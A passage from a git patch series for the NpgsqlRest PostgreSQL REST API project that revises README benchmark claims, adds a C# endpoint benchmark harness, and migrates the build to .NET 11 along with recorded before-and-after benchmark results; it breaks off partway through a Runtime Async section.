From 6cc6f55fa65b14e394fa1a71233db6be8674688e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 17 Jul 2026 07:03:36 +0200 Subject: [PATCH 01/38] docs: update README performance claims to the July 2026 benchmark (2.7x PostgREST, #2 of 20, 3,500+ req/s) --- README.md | 8 ++++---- npm/readme.md | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index a2b1a7a9..7f9e844e 100644 --- a/README.md +++ b/README.md @@ -10,11 +10,11 @@ # Your SQL is the API -**Automatic REST API for PostgreSQL** | [6.1x faster than PostgREST](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026.html) +**Automatic REST API for PostgreSQL** | [2.7x faster than PostgREST, #2 of 20 services benchmarked](https://npgsqlrest.github.io/blog/benchmarks-2026-07/) > SQL files and PostgreSQL objects become REST endpoints. TypeScript clients are generated automatically. Tests are SQL files too. -**4,500+ req/s** on a single host · **2,484 integration tests** · **12K LOC SQL** in production · **MIT** licensed +**3,500+ req/s** on 4 dedicated cores · **2,484 integration tests** · **12K LOC SQL** in production · **MIT** licensed *"Simplicity is the ultimate sophistication."* — Leonardo da Vinci @@ -162,7 +162,7 @@ Save a `.sql` file and the running API restarts with the change (~1s). `create o - **TypeScript/JS code generation** and `.http` files — types flow from PostgreSQL to your frontend, with optional **TanStack Query (React Query) v5 hooks** (`useQuery`/`useMutation` + query-key factories) - **Dart client generation** — typed Flutter clients on `package:http`: request/response models with `fromJson`/`toJson`, multipart uploads with progress, SSE subscriptions, `MockClient` testability - **AOT-compiled native binaries** — zero dependencies, instant startup -- [**6.1x faster than PostgREST**](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026.html) at 100 concurrent users +- [**2.7x faster than PostgREST**](https://npgsqlrest.github.io/blog/benchmarks-2026-07/npgsqlrest.html) at 100 concurrent users — #2 of 20 services in the July 2026 benchmark, ahead of hand-written .NET endpoints on the same driver by 50%+ - **50+ comment annotations** — `@authorize`, `@param`, `@returns`, `@void`, `@single`, `@result`, `@skip`, `@cached`, `@proxy`, and more - **Auth** — cookie auth, Basic auth, JWT claims, role-based access, `@authorize`, `@allow_anonymous` - **Column-level encryption**, security-sensitive endpoints, IP address binding @@ -184,7 +184,7 @@ Save a `.sql` file and the running API restarts with the change (~1s). `create o ## From the Blog - [**Case Study: 74 Endpoints, Zero Backend Code**](https://npgsqlrest.github.io/blog/case-study-zero-backend-code) — A production app built entirely on NpgsqlRest: ~74 endpoints, 12K LOC of SQL, zero C# or Python. -- [**PostgreSQL REST API Benchmark 2026**](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026) — 14 frameworks, identical PostgreSQL functions: NpgsqlRest vs PostgREST, Django, FastAPI, Spring Boot, Go, Rust, and more. +- [**PostgreSQL REST API Benchmark, July 2026**](https://npgsqlrest.github.io/blog/benchmarks-2026-07/) — 20 services, 760 tests under equalized conditions: NpgsqlRest vs PostgREST, FastAPI, Go, Rust, Spring Boot, Bun, Deno, and more. - [**From SQL to Type-Safe TypeScript**](https://npgsqlrest.github.io/blog/typescript-codegen-walkthrough) — End-to-end type safety: typed fetch modules generated directly from PostgreSQL functions and SQL files. ## Documentation diff --git a/npm/readme.md b/npm/readme.md index 193e3d61..7fe37889 100644 --- a/npm/readme.md +++ b/npm/readme.md @@ -123,7 +123,7 @@ export async function publicHelloWorld(): Promise<{status: number, response: str - **Instant API Generation** - REST endpoints from functions, procedures, tables, and views - **Declarative Configuration** - Configure endpoints via SQL comment annotations - **TypeScript/JavaScript Generation** - Auto-generate frontend code with full type safety -- **High Performance** - AOT-compiled native executable, [6x faster than PostgREST](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2025.html) +- **High Performance** - AOT-compiled native executable, [2.7x faster than PostgREST](https://npgsqlrest.github.io/blog/benchmarks-2026-07/) - **RESTful Path Parameters** - Routes like `/products/{id}` with URL parameter extraction - **Authentication** - Cookie auth, JWT, Bearer tokens, OAuth (Google, GitHub, etc.) - **Authorization** - Role-based access control with PostgreSQL integration From 70680a83d095dccc13d8829842c08789361e37c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 12:30:48 +0100 Subject: [PATCH 02/38] test(bench): self-contained endpoint benchmarks (--endpoints) and 3.21.0 baseline - EndpointBenchmarks: full HTTP round trips against an in-process NpgsqlRest server that creates and drops its own database - GetText (scalar) and GetRows100 (mixed types), plus HttpOnly (plain ASP.NET endpoint) and NpgsqlOnly (direct Npgsql) reference benchmarks that separate platform cost from NpgsqlRest cost - Program.cs: --endpoints switch; NPGSQLREST_BENCHMARK_CONNECTION overrides the database - BenchmarkTests no longer pins Npgsql (it comes from the NpgsqlRest project) - Baselines/EndpointBenchmarks-3.21.0.md: pre-upgrade baseline on .NET 10 --- .../Baselines/EndpointBenchmarks-3.21.0.md | 60 +++++ BenchmarkTests/BenchmarkTests.csproj | 2 +- BenchmarkTests/EndpointBenchmarks.cs | 233 ++++++++++++++++++ BenchmarkTests/Program.cs | 12 + 4 files changed, 306 insertions(+), 1 deletion(-) create mode 100644 BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md create mode 100644 BenchmarkTests/EndpointBenchmarks.cs diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md new file mode 100644 index 00000000..902aa255 --- /dev/null +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md @@ -0,0 +1,60 @@ +# EndpointBenchmarks baseline: 3.21.0 (before the 3.22.0 upgrades) + +> **Superseded for the .NET 11 comparison:** these numbers were measured with BenchmarkDotNet 0.15.8, which cannot run on .NET 11. The before/after comparison, with the .NET 10 side measured again under BenchmarkDotNet 0.16.0-preview.2, is in `EndpointBenchmarks-3.22.0-net11.md`. + +Recorded 2026-11-11 on branch `3.22.0` at `6cc6f55`, which has the same code as the 3.21.0 release. Taken **before** any 3.22.0 dependency or runtime upgrades, for a before/after comparison. + +## What was measured + +Full HTTP round trips: `HttpClient` → Kestrel (127.0.0.1) → NpgsqlRest → PostgreSQL → response. Requests run one at a time over a keep-alive connection. "Allocated" counts the whole process (client and server). + +- `GetText`: `GET /api/benchmark-get-text` returns the scalar `Hello, World!`. This is the fixed cost of one request. +- `GetRows100`: `GET /api/benchmark-get-rows?count=100` returns 100 rows of int, text, bool, numeric, timestamptz, text[] and jsonb as a JSON array. + +## Environment + +| | | +|---|---| +| Machine | Apple M4 Pro, 14 cores, macOS 27.0.1 | +| Runtime | .NET 10.0.0 (Arm64 RyuJIT), Concurrent Workstation GC; Microsoft.AspNetCore.App 10.0.0 | +| SDK | .NET SDK 11.0.100 (global.json: 10.0.0 + rollForward latestMajor) | +| BenchmarkDotNet | 0.15.8, DefaultJob | +| Npgsql | 10.0.3 | +| PostgreSQL | 17.10, Docker `postgres:17-alpine` (image `sha256:742f40ea20b9…`), container `npgsqlrest-benchmark-pg` on port 55432 | + +## Results + +Run 1: + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|---------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 188.6 us | 3.73 us | 3.49 us | 1.00 | 0.03 | 0.4883 | - | 7.19 KB | 1.00 | +| GetRows100 | 458.8 us | 8.97 us | 11.34 us | 2.43 | 0.07 | 23.4375 | 2.9297 | 190.73 KB | 26.53 | + +Run 2 (repeated to see how much results vary between runs): + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|---------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 189.7 us | 3.56 us | 3.81 us | 1.00 | 0.03 | 0.4883 | - | 7.19 KB | 1.00 | +| GetRows100 | 464.1 us | 9.25 us | 12.66 us | 2.45 | 0.08 | 23.4375 | 1.9531 | 190.72 KB | 26.52 | + +The two runs differ by about 1% in mean time, and allocations are identical. After an upgrade, treat a time change of less than about 3% as noise. Any change in Allocated is real. + +## Reproduce / compare after upgrading + +Use the same machine and the same PostgreSQL container. Close other heavy apps first. + +```bash +# PostgreSQL: reuse the same container (create it only if it no longer exists) +docker start npgsqlrest-benchmark-pg \ + || docker run -d --name npgsqlrest-benchmark-pg -e POSTGRES_PASSWORD=postgres -p 55432:5432 postgres:17-alpine + +cd BenchmarkTests +NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Username=postgres;Password=postgres" \ + dotnet run -c Release -- --endpoints + +# Report: BenchmarkTests/BenchmarkDotNet.Artifacts/results/BenchmarkTests.EndpointBenchmarks-report-github.md +docker stop npgsqlrest-benchmark-pg +``` + +If the upgrade changes the target framework (for example to net11.0), the runtime line in the report changes too. That difference is part of what is being measured. diff --git a/BenchmarkTests/BenchmarkTests.csproj b/BenchmarkTests/BenchmarkTests.csproj index 17e64277..5c063bdb 100644 --- a/BenchmarkTests/BenchmarkTests.csproj +++ b/BenchmarkTests/BenchmarkTests.csproj @@ -11,7 +11,7 @@ - + diff --git a/BenchmarkTests/EndpointBenchmarks.cs b/BenchmarkTests/EndpointBenchmarks.cs new file mode 100644 index 00000000..7fe8cd09 --- /dev/null +++ b/BenchmarkTests/EndpointBenchmarks.cs @@ -0,0 +1,233 @@ +using System.Text.Json; +using BenchmarkDotNet.Attributes; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.Logging; +using Npgsql; +using NpgsqlRest; + +namespace BenchmarkTests; + +/// +/// Self-contained end-to-end endpoint benchmarks: a full HTTP round trip (HttpClient -> Kestrel on loopback -> +/// NpgsqlRest -> PostgreSQL -> JSON response) for two typical requests. +/// +/// Purpose: a before/after yardstick for dependency and runtime upgrades. Run it before upgrading, keep the +/// report, run it again after upgrading on the same machine, and compare. No manual server is needed: global +/// setup creates its own database and starts an in-process server; global cleanup stops it and drops the database. +/// +/// Requires PostgreSQL on localhost:5432 (postgres/postgres), the same instance the NpgsqlRestTests use, +/// or the connection string in NPGSQLREST_BENCHMARK_CONNECTION (maintenance database, e.g. Database=postgres). +/// +/// Run with: dotnet run -c Release --project BenchmarkTests -- --endpoints +/// +[MemoryDiagnoser] +public class EndpointBenchmarks +{ + // Maintenance-database connection used to create/drop the benchmark database. + // Override with the NPGSQLREST_BENCHMARK_CONNECTION environment variable to use a different PostgreSQL instance + // (always compare runs made against the same instance). + private static readonly string AdminConnectionString = + Environment.GetEnvironmentVariable("NPGSQLREST_BENCHMARK_CONNECTION") is { Length: > 0 } connection + ? connection + : "Host=localhost;Port=5432;Database=postgres;Username=postgres;Password=postgres"; + private const string DatabaseName = "npgsql_rest_benchmark"; + + private const string Script = """ + create function benchmark_get_text() + returns text + language sql + stable + as $$ + select 'Hello, World!' + $$; + + create function benchmark_get_rows(_count int) + returns table ( + id int, + name text, + active boolean, + amount numeric, + created_at timestamptz, + tags text[], + data jsonb + ) + language sql + stable + as $$ + select + i, + 'name ' || i, + i % 2 = 0, + i * 1.25, + timestamptz '2026-01-01 00:00:00+00' + make_interval(mins => i), + array['a' || i, 'b' || i], + jsonb_build_object('id', i, 'label', 'item ' || i) + from generate_series(1, _count) as i + $$; + + comment on function benchmark_get_text() is 'HTTP GET'; + comment on function benchmark_get_rows(int) is 'HTTP GET'; + """; + + private const int RowCount = 100; + + private WebApplication _app = null!; + private HttpClient _client = null!; + private NpgsqlDataSource _dataSource = null!; + + [GlobalSetup] + public void Setup() + { + var connectionString = CreateDatabase(); + + var builder = WebApplication.CreateBuilder(new WebApplicationOptions { Args = [] }); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + // No logging: per-request log output would dominate the measurement + builder.Logging.ClearProviders(); + + _app = builder.Build(); + // Reference endpoint for HttpOnly: same routing style as NpgsqlRest (endpoint + RequestDelegate), no database + _app.MapGet("/ping", context => + { + context.Response.ContentType = "text/plain"; + return context.Response.WriteAsync("Hello, World!"); + }); + _app.UseNpgsqlRest(new NpgsqlRestOptions(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "benchmark\\_%", + RequiresAuthorization = false + }); + _app.StartAsync().GetAwaiter().GetResult(); + + _client = new HttpClient + { + BaseAddress = new Uri(_app.Urls.First()), + Timeout = TimeSpan.FromSeconds(30) + }; + + _dataSource = NpgsqlDataSource.Create(connectionString); + + Verify(); + } + + [GlobalCleanup] + public void Cleanup() + { + _client.Dispose(); + _dataSource.Dispose(); + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + NpgsqlConnection.ClearAllPools(); + Execute(AdminConnectionString, $"drop database if exists {DatabaseName} with (force)"); + } + + /// + /// Smallest possible round trip: one scalar text value. Measures fixed per-request overhead + /// (routing, parameter handling, connection rent, command execution, response write). + /// + [Benchmark(Baseline = true)] + public async Task GetText() + { + using var response = await _client.GetAsync("/api/benchmark-get-text"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// 100 rows with mixed column types (int, text, bool, numeric, timestamptz, text[], jsonb). + /// Measures query parameter binding plus row-reading and JSON serialization throughput. + /// + [Benchmark] + public async Task GetRows100() + { + using var response = await _client.GetAsync($"/api/benchmark-get-rows?count={RowCount}"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// Reference: the HTTP stack alone (HttpClient -> Kestrel -> routing -> RequestDelegate), same response text, + /// no NpgsqlRest, no database. Separates platform (ASP.NET Core / runtime) cost from NpgsqlRest cost. + /// + [Benchmark] + public async Task HttpOnly() + { + using var response = await _client.GetAsync("/ping"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// Reference: the database call alone (pooled connection open, execute, read scalar), no HTTP. + /// Separates Npgsql + runtime cost from HTTP and NpgsqlRest cost. + /// + [Benchmark] + public async Task NpgsqlOnly() + { + await using var connection = await _dataSource.OpenConnectionAsync(); + await using var command = new NpgsqlCommand("select benchmark_get_text()", connection); + return (string)(await command.ExecuteScalarAsync())!; + } + + private static string CreateDatabase() + { + Execute(AdminConnectionString, $"drop database if exists {DatabaseName} with (force)"); + Execute(AdminConnectionString, $"create database {DatabaseName}"); + var connectionString = new NpgsqlConnectionStringBuilder(AdminConnectionString) { Database = DatabaseName }.ConnectionString; + Execute(connectionString, Script); + return connectionString; + } + + private static void Execute(string connectionString, string sql) + { + using var connection = new NpgsqlConnection(connectionString); + connection.Open(); + using var command = connection.CreateCommand(); + command.CommandText = sql; + command.ExecuteNonQuery(); + } + + /// + /// Fail fast if an endpoint is not what the benchmark assumes, so a broken setup (404, 500, wrong shape) + /// is never measured and reported as a valid result. + /// + private void Verify() + { + using (var response = _client.GetAsync("/ping").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, World!") + { + throw new InvalidOperationException($"ping: unexpected response {(int)response.StatusCode}: {body}"); + } + } + + if (NpgsqlOnly().GetAwaiter().GetResult() != "Hello, World!") + { + throw new InvalidOperationException("NpgsqlOnly: unexpected result"); + } + + using (var response = _client.GetAsync("/api/benchmark-get-text").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, World!") + { + throw new InvalidOperationException($"benchmark-get-text: unexpected response {(int)response.StatusCode}: {body}"); + } + } + + using (var response = _client.GetAsync($"/api/benchmark-get-rows?count={RowCount}").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode) + { + throw new InvalidOperationException($"benchmark-get-rows: unexpected response {(int)response.StatusCode}: {body}"); + } + using var json = JsonDocument.Parse(body); + if (json.RootElement.ValueKind != JsonValueKind.Array || json.RootElement.GetArrayLength() != RowCount) + { + throw new InvalidOperationException($"benchmark-get-rows: expected a JSON array of {RowCount} rows, got: {body[..Math.Min(body.Length, 300)]}"); + } + } + } +} diff --git a/BenchmarkTests/Program.cs b/BenchmarkTests/Program.cs index 3bcb474a..7f1c7104 100644 --- a/BenchmarkTests/Program.cs +++ b/BenchmarkTests/Program.cs @@ -17,6 +17,13 @@ return; } +// Self-contained end-to-end endpoint benchmarks (starts its own server; needs PostgreSQL on localhost:5432) +if (args.Contains("--endpoints") || args.Contains("-e")) +{ + BenchmarkRunner.Run(); + return; +} + // Default: run in-process benchmarks if no arguments provided if (!runHttpBenchmarks && !runInProcessBenchmarks && !runAll) { @@ -83,6 +90,11 @@ No external server required Requires NpgsqlRestTests server running on localhost:5000 Start with: dotnet run --project NpgsqlRestTests/Setup + -e, --endpoints Run the self-contained endpoint benchmarks only + Full HTTP round trips against an in-process server it starts itself + Requires PostgreSQL on localhost:5432 (creates/drops npgsql_rest_benchmark) + Use it as a before/after yardstick for upgrades + -a, --all Run all benchmarks (in-process + HTTP) -?, --help Show this help message From 3cfe7054056ef8373668fa21e5abd029229611e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 12:30:57 +0100 Subject: [PATCH 03/38] build: migrate to .NET 11 and upgrade packages - all projects net10.0 -> net11.0 and LangVersion 14 -> 15; global.json pins SDK 11.0.100 - packages: Microsoft.SourceLink.GitHub 11.0.100 (resolves NU1902 for Microsoft.Build.Tasks.Git), JwtBearer / Caching.Hybrid / Caching.StackExchangeRedis / Mvc.Testing 11.0.0, Serilog.AspNetCore 11.0.0, SpreadCheetah 1.29.0, StackExchange.Redis 3.4.35, test packages, WireMock.Net 2.31.0 (resolves NU1902 for Microsoft.AspNetCore.WebUtilities 2.3.0), BenchmarkDotNet 0.16.0-preview.2 (0.15.8 cannot run on .NET 11); Npgsql stays 10.0.3 (latest) - Directory.Build.props: StaticWebAssetsEnabled=false - with SDK 11 a Debug build of a Web-SDK project referencing another Web-SDK project (every plugin -> core) fails on the Blazor Hot Reload browser-tools JS module; Runtime Async is deliberately not enabled (native AOT binary crashes on the first request; +7..12 KB per request in the large request handler) - documented there - CI: setup-dotnet 11.0.x and net11.0 publish paths; Dockerfile.jit 11.0 images; docs - CLI tests derive the target framework folder from their own build path - Baselines/EndpointBenchmarks-3.22.0-net11.md: .NET 10 vs 11 comparison (same harness), layered reference benchmarks, Runtime Async analysis --- .github/workflows/build-test-publish.yml | 34 +++--- .github/workflows/test.yml | 4 +- .../EndpointBenchmarks-3.22.0-net11.md | 104 ++++++++++++++++++ BenchmarkTests/BenchmarkTests.csproj | 7 +- BenchmarkTests/Program.cs | 2 +- CONTRIBUTING.md | 2 +- Directory.Build.props | 25 +++++ NpgsqlRest/NpgsqlRest.csproj | 6 +- NpgsqlRestClient/NpgsqlRestClient.csproj | 16 +-- NpgsqlRestTests/CliTests/CliCommandTests.cs | 8 +- NpgsqlRestTests/CliTests/InstallSkillTests.cs | 3 +- NpgsqlRestTests/NpgsqlRestTests.csproj | 16 +-- docker/Dockerfile.jit | 4 +- docker/readme.md | 2 +- global.json | 2 +- .../NpgsqlRest.CrudSource.csproj | 6 +- .../NpgsqlRest.DartClient.csproj | 6 +- .../NpgsqlRest.HttpFiles.csproj | 6 +- plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj | 6 +- .../NpgsqlRest.OpenApi.csproj | 6 +- .../NpgsqlRest.SqlFileSource.csproj | 6 +- .../NpgsqlRest.TsClient.csproj | 6 +- 22 files changed, 205 insertions(+), 72 deletions(-) create mode 100644 BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md diff --git a/.github/workflows/build-test-publish.yml b/.github/workflows/build-test-publish.yml index e9d337b2..2497107c 100644 --- a/.github/workflows/build-test-publish.yml +++ b/.github/workflows/build-test-publish.yml @@ -29,10 +29,10 @@ jobs: --health-retries 5 steps: - uses: actions/checkout@v4 # Updated from v2 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Install dependencies run: dotnet restore - name: Build @@ -112,10 +112,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Windows AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r win-x64 -c Release - name: Upload Windows executable @@ -124,7 +124,7 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/win-x64/publish/NpgsqlRestClient.exe + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/win-x64/publish/NpgsqlRestClient.exe asset_name: npgsqlrest-win64.exe asset_content_type: application/octet-stream @@ -149,10 +149,10 @@ jobs: --health-retries 5 steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Linux AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-x64 -c Release - name: AOT smoke test (config validation + database connection) @@ -164,7 +164,7 @@ jobs: } } SMOKE - BIN=./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + BIN=./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient "$BIN" --version "$BIN" smoke.appsettings.json --validate - name: Upload Linux executable @@ -173,14 +173,14 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient asset_name: npgsqlrest-linux64 asset_content_type: application/octet-stream - name: Upload Linux executable artifact uses: actions/upload-artifact@v4 with: name: npgsqlrest-linux64 - path: ./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + path: ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient build-linux-arm: needs: create-release @@ -189,10 +189,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Linux ARM64 AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-arm64 -c Release - name: Upload Linux ARM64 executable @@ -201,14 +201,14 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/linux-arm64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/linux-arm64/publish/NpgsqlRestClient asset_name: npgsqlrest-linux-arm64 asset_content_type: application/octet-stream - name: Upload Linux ARM64 executable artifact uses: actions/upload-artifact@v4 with: name: npgsqlrest-linux-arm64 - path: ./NpgsqlRestClient/bin/Release/net10.0/linux-arm64/publish/NpgsqlRestClient + path: ./NpgsqlRestClient/bin/Release/net11.0/linux-arm64/publish/NpgsqlRestClient build-macos: needs: create-release @@ -217,10 +217,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build macOS ARM64 AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r osx-arm64 -c Release - name: Upload macOS executable @@ -229,7 +229,7 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/osx-arm64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/osx-arm64/publish/NpgsqlRestClient asset_name: npgsqlrest-osx-arm64 asset_content_type: application/octet-stream diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 37f8c0fa..cc3d30e4 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -24,10 +24,10 @@ jobs: postgresql user: 'postgres' postgresql password: 'postgres' - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Install dependencies run: dotnet restore - name: Build diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md new file mode 100644 index 00000000..4a0b18ec --- /dev/null +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md @@ -0,0 +1,104 @@ +# EndpointBenchmarks: .NET 10 (3.21.0) vs .NET 11 (3.22.0 upgrades) + +Recorded 2026-11-11, on the same machine and PostgreSQL container as the baseline (`EndpointBenchmarks-3.21.0.md`): Apple M4 Pro, PostgreSQL 17.10 in `npgsqlrest-benchmark-pg`. + +## Why the original baseline is not used directly + +BenchmarkDotNet 0.15.8, the latest stable version and the one used for the baseline, cannot run on .NET 11. It fails with `NotImplementedException: GetRuntimeVersion not implemented for NotRecognized`. The project now uses **0.16.0-preview.2**. + +Changing the measurement tool changes the numbers by itself. For example, the .NET 10 allocations read 7.19 KB under 0.15.8 and 7.13 KB under the preview. So the .NET 10 side was **measured again with the same preview tool**, as a control. The control used the unmodified 3.21.0 commit, with only the benchmark files added. Two of the four pairs alternated the .NET 11 and .NET 10 runs, so both saw the same machine conditions. + +| | .NET 10 control | .NET 11 | +|---|---|---| +| Code | `6cc6f55` (3.21.0), net10.0, LangVersion 14 | branch `3.22.0` (all projects net11.0, packages upgraded) | +| Runtime | .NET 10.0.0 (10.0.25.52411) | .NET 11.0.0 (11.0.26.53018) | +| ASP.NET Core / Microsoft.Extensions | 10.0.x | 11.0.0 | +| Npgsql | 10.0.3 | 10.0.3 (no 11.x exists) | +| BenchmarkDotNet | 0.16.0-preview.2, DefaultJob | 0.16.0-preview.2, DefaultJob | + +## Results (4 runs each) + +Mean time per request (µs): + +| Benchmark | .NET 10 runs | .NET 10 avg | .NET 11 runs | .NET 11 avg | Change | +|---|---|---:|---|---:|---:| +| GetText | 189.8, 181.6, 180.9, 179.5 | 183.0 | 191.4, 197.4, 191.1, 189.1 | 192.3 | **+9.3 µs (+5.1%)** | +| GetRows100 | 447.8, 438.2, 444.3, 439.1 | 442.4 | 457.5, 462.1, 456.5, 456.5 | 458.2 | **+15.8 µs (+3.6%)** | + +Allocated per request (whole process, client and server). Allocations are deterministic, so these are identical in every run: + +| Benchmark | .NET 10 | .NET 11 | Change | +|---|---:|---:|---:| +| GetText | 7.13 KB | 7.27 KB | **+0.14 KB (+2.0%)** | +| GetRows100 | 190.67 KB | 190.87 KB | +0.20 KB (+0.1%) | + +## Reading + +- On .NET 11, each request takes about 10–16 µs longer, roughly 4–5%. Every .NET 11 run is slower than every .NET 10 run for GetRows100. For GetText, every .NET 11 run except the 197.4 µs outlier lies between 189.1 and 191.4 µs, while three of the four .NET 10 runs are at or below 181.6 µs. So this is a small but consistent regression, not noise. +- Each request also allocates about 150–200 bytes more, and the amount is the same for both benchmarks. That points to a fixed per-request cost in the HTTP stack (HttpClient, Kestrel, hosting or runtime), not to row serialization. +- This benchmark sends one request at a time, with the client and server in the same process and the Concurrent Workstation GC. It measures fixed latency per request, not throughput under load. + +## Where the time goes (layered run) + +Two reference benchmarks were added to separate the platform's share from NpgsqlRest's: + +- `HttpOnly`: the same HTTP round trip to a plain `MapGet` endpoint that writes `Hello, World!`, with no NpgsqlRest and no database. +- `NpgsqlOnly`: the same database call made directly through Npgsql (open a pooled connection, execute, read the scalar), with no HTTP. + +These are 2 alternating pairs, with the same tool and the same machine as above: + +| Benchmark | .NET 10 runs (µs) | .NET 11 runs (µs) | Time change (avg) | Allocated change | +|---|---|---|---:|---:| +| HttpOnly | 33.99, 34.49 | 41.93, 37.70 | **+5.6 µs (+16%)** | 2.99 → 3.03 KB (~+40 B) | +| NpgsqlOnly | 131.59, 137.02 | 138.42, 131.13 | +0.5 µs (noise) | 1.55 → 1.57 KB (~+20 B) | +| GetText | 184.32, 181.81 | 198.09, 191.18 | +11.6 µs (+6.3%) | 7.13 → 7.28 KB (~+160 B) | +| GetRows100 | 460.50, 446.92 | 476.80, 453.62 | +11.5 µs (+2.5%, noisy) | 190.68 → 190.86 KB | + +- **About half of the extra time is in .NET 11 itself.** A plain ASP.NET Core endpoint with no NpgsqlRest code is about 5.6 µs slower on .NET 11 (HttpClient, Kestrel and routing on loopback, macOS arm64), and both .NET 11 runs are slower than both .NET 10 runs. +- **Npgsql shows no regression:** the times are within noise. +- **About 5–6 µs and roughly 100 B per request are left over,** and they appear only on NpgsqlRest's own request path. This part is ours to investigate. Either NpgsqlRest code compiled against .NET 11 binds to different APIs (or C# 15 generates different code), or some API it uses behaves differently on the .NET 11 runtime. The layers don't add up exactly, because NpgsqlRest's database call isn't identical to `NpgsqlOnly`, so treat this split as approximate. + +## Experiment: Runtime Async (`runtime-async=on`) + +Runtime Async is the main .NET 11 performance feature that needs an opt-in, and it's still a preview feature for user code. The test build had it enabled for every project (NpgsqlRest core, plugins, client, benchmark). In that build, `NpgsqlRest.dll` has 7 compiler-generated async state machine types instead of 46, and the file shrinks from 678 KB to 592 KB (−13%). Both builds target .NET 11 and 